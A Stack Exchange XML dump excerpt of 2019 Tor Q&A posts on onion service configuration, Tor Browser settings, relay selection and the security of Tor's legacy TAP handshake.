  <row Id="19816" PostTypeId="2" ParentId="19732" CreationDate="2019-05-06T02:04:16.120" Score="1" Body="&lt;p&gt;To add Steve's well-written comment as an answer for other users:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you’re referring to the &lt;a href=&quot;https://2019.www.torproject.org/docs/trademark-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ page&lt;/a&gt;. If so, it’s referring to the Tor &lt;em&gt;trademark&lt;/em&gt; when it says “based on Tor”. If you’re using the name “Tor” anywhere in your commercial project, then yes it sounds like you should contact Tor.&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T02:04:16.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19817" PostTypeId="2" ParentId="19730" CreationDate="2019-05-06T02:06:45.290" Score="1" Body="&lt;p&gt;Looking like Tor may be censored or otherwise blocked on your network. Your best bet is to use a bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a precaution though, before going all put just try restarting Tor browser or reinstalling, sometimes that helps&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T02:06:45.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19818" PostTypeId="2" ParentId="19696" CreationDate="2019-05-06T02:12:08.590" Score="2" Body="&lt;p&gt;To quote Steve's comment, which is actually a good answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor itself doesn’t have names, passwords, or PINs. To access an onion site, just open the Tor Browser and type in the onion address. You will need to find the onion address for the site you’re trying to get to. The address may have changed since the last time you visited it.&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-05-06T02:12:08.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19820" PostTypeId="1" CreationDate="2019-05-06T17:13:13.953" Score="0" ViewCount="2438" Body="&lt;p&gt;I have genarated a castom onion v3 domain by using mkp224o&lt;br&gt;&#xA;i got 3 file &lt;br&gt;&#xA;1. hostname&lt;br&gt;&#xA;2. hs_ed25519_public_key&lt;br&gt;&#xA;3. hs_ed25519_secret_key&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i need private key . how can i get private key from this 3 file&lt;/p&gt;&#xA;" OwnerUserId="26864" LastActivityDate="2019-05-08T12:16:29.893" Title="How to get Onion v3 private key" Tags="|configuration|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19822" PostTypeId="2" ParentId="17774" CreationDate="2019-05-06T19:55:44.880" Score="0" Body="&lt;p&gt;For older versions of Tor and other Tor software, see&#xA;  &lt;a href=&quot;https://archive.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/7.5.6/torbrowser-install-7.5.6_en-US.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/7.5.6/torbrowser-install-7.5.6_en-US.exe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26867" LastActivityDate="2019-05-06T19:55:44.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19823" PostTypeId="1" CreationDate="2019-05-06T23:54:53.077" Score="1" ViewCount="400" Body="&lt;p&gt;Linux/networking noob here- I've been curious as to how I can make an onion server listen on a different interface than the default for all connections, including SSH. I know that Tor works on localhost, so I'm not trying to change that, but I am trying to add a little more anonymity to the stack by essentially faking the server's IP address through use of a virtual network interface. If I'm crazy and this absolutely will not work, is there another similar solution that would make Tor and the webserver see a false IP address?&lt;/p&gt;&#xA;" OwnerUserId="26869" LastActivityDate="2019-05-06T23:54:53.077" Title="Configure which network interface Tor listens on" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19824" PostTypeId="1" CreationDate="2019-05-07T00:14:21.853" Score="1" ViewCount="594" Body="&lt;p&gt;Could I still use a 16-char onion address for a hidden service if I am more concerned about being able to generate a nice &quot;vanity&quot; onion address than hiding the physical location of the service?&#xA;Does using Version 2 addresses have any other negative implications other than the probability of deanonymization?&lt;/p&gt;&#xA;" OwnerUserId="26870" LastActivityDate="2021-12-23T22:00:20.043" Title="Are Tor version 2 (16-char) addresses obsolete?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19825" PostTypeId="2" ParentId="19668" CreationDate="2019-05-07T01:22:53.967" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;New Tor website&lt;/a&gt; &gt; &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;noreferrer&quot;&gt;Download Tor Browser&lt;/a&gt; &gt; &lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;noreferrer&quot;&gt;Download Tor Source Code&lt;/a&gt; &gt; Windows Expert Bundle&lt;/p&gt;&#xA;" OwnerUserId="7159" LastActivityDate="2019-05-07T01:22:53.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19827" PostTypeId="2" ParentId="19824" CreationDate="2019-05-07T11:35:33.743" Score="0" Body="&lt;p&gt;You can use version 2 onion addresses and they are currently supported. However, from version 0.3 of TOR, if you want to run a hidden service, it will generate version 3 onion addresses. For the aim of the version 2 addresses, you should use TOR version 0.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As claimed in metrics.torproject.org the number of version 2 onion services are falling down. Therefore, I guess that they will be unsupported after some time.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XGE5Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XGE5Z.png&quot; alt=&quot;Onion Addresses&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-07T11:35:33.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19829" PostTypeId="1" AcceptedAnswerId="19830" CreationDate="2019-05-07T22:06:22.800" Score="0" ViewCount="3216" Body="&lt;p&gt;Recently switched from Orfox to Tor Browser for Android (Alpha).  The NoScript settings seem to be gone from the main menu.  How can I selectively enable javascript for only the domains I trust?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this question is specifically about Tor Browser for Android (Alpha), not desktop TorBrowser or the Orfox Android app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that Mozilla's recent armagadd-on issue disabled add-ons for a little while, however at this time, Mozilla has fixed that issue and noscript is working again in desktop TorBrowser, and in Orfox.  However, even after turning xpinstall.signatures.required off in about:config, no addons are present in Tor Browser for Android&lt;/p&gt;&#xA;" OwnerUserId="26879" LastEditorUserId="26879" LastEditDate="2019-05-08T19:19:22.780" LastActivityDate="2019-05-08T19:19:22.780" Title="Where is NoScript in Tor Browser for Android?" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19830" PostTypeId="2" ParentId="19829" CreationDate="2019-05-08T12:07:19.760" Score="0" Body="&lt;p&gt;As it is described in TOR blog, noscript is temporary disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/noscript-temporarily-disabled-tor-browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/noscript-temporarily-disabled-tor-browser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-08T12:07:19.760" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19831" PostTypeId="2" ParentId="19820" CreationDate="2019-05-08T12:16:29.893" Score="1" Body="&lt;p&gt;Actually everything is OK. You just need to copy these three files to a folder on your system. Then add these lines to your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir THE_DIRECTORY_WHICH_THE_FILES_ARE_INCLUDED&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which 80 is the hidden service port (i.e. abcdefghijklmnop.onion:80) and will be tunneled to 127.0.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using TOR 2 (tor 0.2.x) you should add an extra line to torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info:&#xA;&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/tor-onion-service.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-08T12:16:29.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19832" PostTypeId="1" CreationDate="2019-05-08T14:32:29.087" Score="0" ViewCount="406" Body="&lt;p&gt;Must admit to not being a much of a technical wizard at this point, although I worked as a tech support person for years before I retired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I have spent many HOURS (nothing else to do right now) trying to put Tor on a USB memory stick (PNY 32GB) so I can just plug it in and navigate to it and run Tor. Sounds simple, but the best I can do is only to get it to work on the computer from which I do the install. If I try it on another computer (same version of Windows) it seems to try to work and brings up a window with the address bar, the rest is all white and fails to load the starting window content.&#xA;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Bill Waters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum: Tried installing Tor on the second computer (mentioned above) and had exactly the same problem, so it is some sort of compatibility problem... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;B.W.&lt;/p&gt;&#xA;" OwnerUserId="26884" LastEditorUserId="26884" LastEditDate="2019-05-09T19:10:43.947" LastActivityDate="2019-05-13T08:40:30.233" Title="Tor on a usb stick" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19835" PostTypeId="1" CreationDate="2019-05-09T17:40:54.077" Score="0" ViewCount="330" Body="&lt;p&gt;I'm sending email to different country using Tor Browser. Is there an advantage or disadvantage, specifing the Tor exit node be located in the country the email is addressed to?&lt;/p&gt;&#xA;" OwnerUserId="26898" LastActivityDate="2021-12-17T23:03:45.333" Title="Tor exit node for email" Tags="|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19836" PostTypeId="2" ParentId="19824" CreationDate="2019-05-10T15:08:56.480" Score="0" Body="&lt;p&gt;That's wrong, default is still V2, current tor version creates V3 only if you specify you want that in your config. &#xA;about Vanity-addresses, there is a generator for vanity V3 addresses, too. &#xA;See &lt;a href=&quot;https://github.com/cathugger/mkp224o&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cathugger/mkp224o&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26907" LastActivityDate="2019-05-10T15:08:56.480" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19837" PostTypeId="2" ParentId="19352" CreationDate="2019-05-10T22:51:14.263" Score="0" Body="&lt;p&gt;I haven't had much luck with getting this key using gpg2. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# wget https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc&#xA;# apt-key add &amp;lt;A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26911" LastActivityDate="2019-05-10T22:51:14.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19839" PostTypeId="2" ParentId="19835" CreationDate="2019-05-11T07:11:48.423" Score="0" Body="&lt;p&gt;Actually the exit node will connect to your email server (SMTP server) and sends your email. It depends on your SMTP security policies which can prevent a user who is constantly switch connection IP (exit node's IP). And more, I guess that you're using user+pass to authenticate yourself to SMTP server, therefore SMTP server knows who you are and whom the message in sent to and even &lt;strong&gt;Email content&lt;/strong&gt; if the message is not encrypted. The only private thing is your real IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another point, if your SMTP server does not use SSL/TLS for connection, the exit node will know your user name, password and email content (if is not encrypted).&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-11T07:11:48.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19840" PostTypeId="2" ParentId="19253" CreationDate="2019-05-11T07:19:03.600" Score="0" Body="&lt;p&gt;K-9 is an Android open source mail client. I've edited the code, so onion addresses are currently supported in my source. You may check the details in my blog:&#xA;&lt;a href=&quot;https://mstajbakhsh.ir/my-contribution-in-k9-android-mail-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Connecting to Hidden Mail Server using Android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can check my Pull Request in K-9's source at:&#xA;&lt;a href=&quot;https://github.com/k9mail/k-9/pull/3889&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/k9mail/k-9/pull/3889&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-11T07:19:03.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19841" PostTypeId="1" AcceptedAnswerId="19843" CreationDate="2019-05-11T11:59:32.310" Score="1" ViewCount="328" Body="&lt;p&gt;If one's connection is corrupted when your guard and exit node is the same person (that can then analyze your traffic and based on that figure out your IP), why does Tor allow them to be from the same country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gbQtx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gbQtx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9516" LastEditorUserId="9516" LastEditDate="2019-05-11T12:05:07.900" LastActivityDate="2019-05-11T17:29:30.043" Title="Why guard and exit nodes are allowed to be from same country?" Tags="|security|exit-relays|deanonymization|guard-node|location|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19843" PostTypeId="2" ParentId="19841" CreationDate="2019-05-11T17:29:30.043" Score="1" Body="&lt;p&gt;Same country does not mean same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country&quot; rel=&quot;nofollow noreferrer&quot;&gt;bubble graphs&lt;/a&gt;. Germany provides currently the most relays among them there are &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/country:de%20flag:guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;645 guard nodes&lt;/a&gt; and &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/country:de%20flag:exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;138 exit relays&lt;/a&gt;. So it quite likely that you select some relays from Germany.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor looks for for relationships among relays and don't make connections when it assumes that two relays belong to the same person or network. SO this provides some safeguards against traffic analysis.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-05-11T17:29:30.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19845" PostTypeId="1" CreationDate="2019-05-11T22:04:45.283" Score="1" ViewCount="9735" Body="&lt;p&gt;There is this website &lt;a href=&quot;https://b-ok.cc/s/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://b-ok.cc/s/&lt;/a&gt; I was using to download some book I needed. This website has a daily limit of 5 book downlods per day and it does this by tracking the IP I was using. So I switched to Tor browser hoping that this time my IP will be hidden and will be able download more. To my surprise, the website could still recognise me only this time with a different IP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how is this website able to recognise my connection even after using a Tor browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To recreate this, go to  &lt;a href=&quot;https://b-ok.cc/s/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://b-ok.cc/s/&lt;/a&gt; and download 5 books. On your 6th download you will receive a warning that says &quot;WARNING: There are more than 5 downloads from your IP  during last 24 hours.&quot;&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-11-10T14:01:10.133" Title="How can b-ok.cc website track my number of books downloaded even after using TOR browser?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19846" PostTypeId="1" CreationDate="2019-05-12T01:09:31.787" Score="2" ViewCount="99" Body="&lt;p&gt;It says that setting the security slider of the torbrowser to medium disables the function which is dangerous. I would like to know what features are considered dangerous and why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I set the security slider to medium, I can disable dangerous functions, so is it safe to browse with medium setting?&lt;/p&gt;&#xA;" OwnerUserId="26923" LastEditorUserId="88" LastEditDate="2019-05-12T11:20:28.460" LastActivityDate="2019-05-12T19:49:55.137" Title="setting the security slider to medium" Tags="|tor-browser-bundle|security|settings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19848" PostTypeId="2" ParentId="19846" CreationDate="2019-05-12T19:49:55.137" Score="1" Body="&lt;p&gt;The default setting provides you with a good trade-off between security and usability. When you switch to medium several HTML5 and JavaScript features don't work instantly or don't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for HTML5 video and audio you need to click on them to start them. So in theory you can review where those files are loaded and if they're malware they're not executed instantly. Furthermore JavaScript only works with HTTPS sites and JavaScript on HTTP sites is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the medium setting for the day-to-day browsing and from my experience this works well. However I cannot measure if I get more security out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The highest security setting would be to set it to Safest. Because here is most JavaScript disabled and JavaScript can be dangerous. However I bet most of the sites won't work properly anymore.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-05-12T19:49:55.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19849" PostTypeId="2" ParentId="19607" CreationDate="2019-05-12T20:51:25.207" Score="2" Body="&lt;p&gt;As far as I know it is still possible to do those kind of attacks against the network. However Tor tries to detect &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;bad relays&lt;/a&gt; and block them from participating in the network. So there is a high chance that your research doesn't lead to satisfactory results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor has created a &lt;a href=&quot;https://research.torproject.org/safetyboard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Research Safety Board&lt;/a&gt;. You can ask them for advice on how to best conduct your research while not harm the actual users. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-05-12T20:51:25.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19850" PostTypeId="2" ParentId="19436" CreationDate="2019-05-13T01:39:04.900" Score="1" Body="&lt;p&gt;To answer my own question after rereading the spec, it is not. There are two things that make it difficult to attack broken DH groups in the old TAP protocol: the RSA hybrid handshake, and link encryption.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;RSA hybrid handshake&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The protocol uses the 1024-bit safe prime from RFC 2409 section 6.2 with the hex representation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08&#xA;8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B&#xA;302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9&#xA;A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE6&#xA;49286651ECE65381FFFFFFFFFFFFFFFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this &lt;em&gt;is&lt;/em&gt; small enough for a powerful adversary to attack, TAP uses a hybrid handshake where the DH data is encrypted using static RSA. In particular, RSA with OAEP-MGF1 padding is used to encrypt a 128-bit symmetric key as well as the first part of the DH data (specifically g&lt;sup&gt;x&lt;/sup&gt;, where &lt;em&gt;g&lt;/em&gt; is the generator and &lt;em&gt;x&lt;/em&gt; is the DH private key). The symmetric key is then used to encrypt the second part of the DH data which is too large to encrypt using RSA. The Tor specification defines this as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;The payload for a CREATE cell is an 'onion skin', which consists of&#xA;the first step of the DH handshake data (also known as g^x).  This&#xA;value is encrypted using the &quot;legacy hybrid encryption&quot; algorithm&#xA;(see 0.4 above) to the server's onion key, giving a client handshake:&#xA;&#xA;    PK-encrypted:&#xA;      Padding                       [PK_PAD_LEN bytes]&#xA;      Symmetric key                 [KEY_LEN bytes]&#xA;      First part of g^x             [PK_ENC_LEN-PK_PAD_LEN-KEY_LEN bytes]&#xA;    Symmetrically encrypted:&#xA;      Second part of g^x            [DH_LEN-(PK_ENC_LEN-PK_PAD_LEN-KEY_LEN)&#xA;                                        bytes]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Breaking the Diffie-Hellman handshake now requires breaking the RSA key. While the RSA key &lt;em&gt;is&lt;/em&gt; only 1024 bits and RSA is generally slightly easier to break than a DH key of equivalent size, precomputation attacks are not useful against it. While breaking pure DH (for any given group) requires a one-time expensive precomputation, breaking RSA requires performing an expensive computation &lt;em&gt;each time&lt;/em&gt;. While the TAP protocol does use static RSA keys, they are regenerated periodically (once every 1 to 90 days, but 28 days by default, according to dir-spec.txt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would absolutely be possible to decrypt an entire circuit by first breaking the 1024-bit RSA and then breaking the DH exchange underneath it, but this would have to be done for each relay in a circuit, and the end result would be only around 10 minutes of plaintext (or however long that individual circuit lived). Millions of dollars and a year of computation to break a single circuit is very unlikely to be worth it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Link encryption&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In addition to the above RSA hybrid handshake, another obstacle exists which makes mass decryption difficult even if the DH handshake can be broken. Tor not only uses layered encryption for each relay using its native protocol, it also encapsulates each link to another relay using standard TLS. That is, before any circuits are created or extended, two relays or a client and relay that wish to communicate first establish a connection using TLS. Breaking the inner circuit encryption thus requires &lt;em&gt;also&lt;/em&gt; breaking the outer TLS layer. The parameters used by this TLS session depend on the version of OpenSSL that the Tor binary is linked with. Forward secrecy and sufficiently large keys are mandatory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to attack the inner onion circuit is if this TLS can be broken, or if the adversary is in control of the relay (since TLS is naturally not end-to-end, but only protecting data between each individual relay). This means that a malicious ISP or datacenter which passively logs the traffic of a Tor relay cannot strip this TLS unless it also controls the relay itself. While it is absolutely possible to run malicious relays, the traffic visibility would be much lower than it would be if their ISP could passively break the TLS.&lt;/p&gt;&#xA;" OwnerUserId="21937" LastActivityDate="2019-05-13T01:39:04.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19851" PostTypeId="2" ParentId="19832" CreationDate="2019-05-13T08:40:30.233" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails is a live operating system that you can start on almost any computer from a USB stick or a DVD.&lt;/p&gt;&#xA;" OwnerUserId="26934" LastActivityDate="2019-05-13T08:40:30.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19853" PostTypeId="2" ParentId="6801" CreationDate="2019-05-13T13:07:58.940" Score="1" Body="&lt;p&gt;If you are using Tor in Windows (I do it in win7), when TorBrowser starts it have the remote tab disabled. The solution is, for each tab you try to create, send a call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path-to-TorBrowser\firefox.exe --allow-remote  --new-tab http:\\www.yourfirstsite.org&#xA;path-to-TorBrowser\firefox.exe --allow-remote  --new-tab http:\\www.othersite.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use it creating a .bat small archive (new-tab.bat, for example).&lt;br&gt;&#xA;To find the path to your executable, you probably know, in the link of the TorBrowser, right click, call properties, in the first path you have the complete path.&lt;/p&gt;&#xA;" OwnerUserId="26939" LastEditorUserId="5234" LastEditDate="2019-05-19T21:13:46.173" LastActivityDate="2019-05-19T21:13:46.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19854" PostTypeId="1" CreationDate="2019-05-13T14:50:24.020" Score="1" ViewCount="310" Body="&lt;p&gt;I'm building a hidden service hosting provider and actually I'm able to run a web-/ and Mysql Server full proxied over the tor network. But I'm wondering how I could realize a file-transfer protocol like FTP over the tor network.&lt;/p&gt;&#xA;&lt;p&gt;Is there any tutorial or paper about this out there? So I could create mysql, ftp access for my clients without revealing the real IP of my server. Can anyone help me with that?&lt;/p&gt;&#xA;" OwnerUserId="26940" LastEditorUserId="25432" LastEditDate="2020-10-24T07:56:21.227" LastActivityDate="2022-03-18T12:00:30.093" Title="Tor Filetransfer (FTP) for Webhoster" Tags="|onion-services|network-configuration|web-hosting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19856" PostTypeId="2" ParentId="19845" CreationDate="2019-05-13T15:11:44.350" Score="1" Body="&lt;p&gt;Maybe you've got a TOR-NODE IP which already had downloaded 5 books these day. Just check if the 2 ips are the same. I bet these are not. The ip is just blocked too its not about you ;)&lt;/p&gt;&#xA;" OwnerUserId="26940" LastActivityDate="2019-05-13T15:11:44.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19857" PostTypeId="1" CreationDate="2019-05-14T10:34:05.497" Score="1" ViewCount="237" Body="&lt;p&gt;Using the Linux onioncircuits package or carml monitor, I see circuits for onions that I'm accessing (client-side circuits). I also see circuits for onions that I'm hosting, and accessing from another machine (onion-side circuits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I only see streams attached to client-side circuits. Streams attached to HS_CLIENT_REND circuits are the most persistent. I see no streams attached to onion-side circuits (HS_SERVICE_HSDIR, HS_SERVICE_INTRO or HS_SERVICE_REND).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How might I display them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: In .../txtorcon/stream.py I see, at line 25:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Stream(object):&#xA;    &quot;&quot;&quot;&#xA;    Represents an active stream in Tor's state (:class:`txtorcon.TorState`).&#xA;    ...&#xA;    :ivar state:&#xA;        Tor's idea of the stream's state, one of:&#xA;          - NEW: New request to connect&#xA;          - NEWRESOLVE: New request to resolve an address&#xA;          - REMAP: Address re-mapped to another&#xA;          - SENTCONNECT: Sent a connect cell along a circuit&#xA;          - SENTRESOLVE: Sent a resolve cell along a circuit&#xA;          - SUCCEEDED: Received a reply; stream established&#xA;          - FAILED: Stream failed and not retriable&#xA;          - CLOSED: Stream closed&#xA;          - DETACHED: Detached from circuit; still retriable&#xA;&#xA;    :ivar target_host:&#xA;        Something like www.example.com -- the host the stream is destined for.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That implies to me that :class:&lt;code&gt;txtorcon.TorState&lt;/code&gt; only includes client-side streams. But perhaps I'm reading too literally.&lt;/p&gt;&#xA;" OwnerUserId="26945" LastEditorUserId="26945" LastEditDate="2019-05-16T08:22:10.730" LastActivityDate="2019-05-17T03:19:47.507" Title="displaying streams from onion service to rendezvous point" Tags="|onion-routing|circuit|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19858" PostTypeId="1" CreationDate="2019-05-14T11:13:20.257" Score="2" ViewCount="3543" Body="&lt;p&gt;I have installed Tor on a command-line only environment without the browser, Tor Socks Proxy is running on 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if the proxy code is running correctly i used:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;% curl --socks5 localhost:9050 --socks5-hostname localhost:9050 -s&#xA;  &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; | cat | grep -m 1 Congratulations |&#xA;  xargs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which shows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Congratulations. This browser is configured to use Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But i need to do this test programmatically with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i programmatically test if the tor socks5 proxy is running and that it configured correctly using a python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="26946" LastActivityDate="2020-02-08T20:02:30.347" Title="How to check if Tor socks proxy is working programatically python?" Tags="|torsocks|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
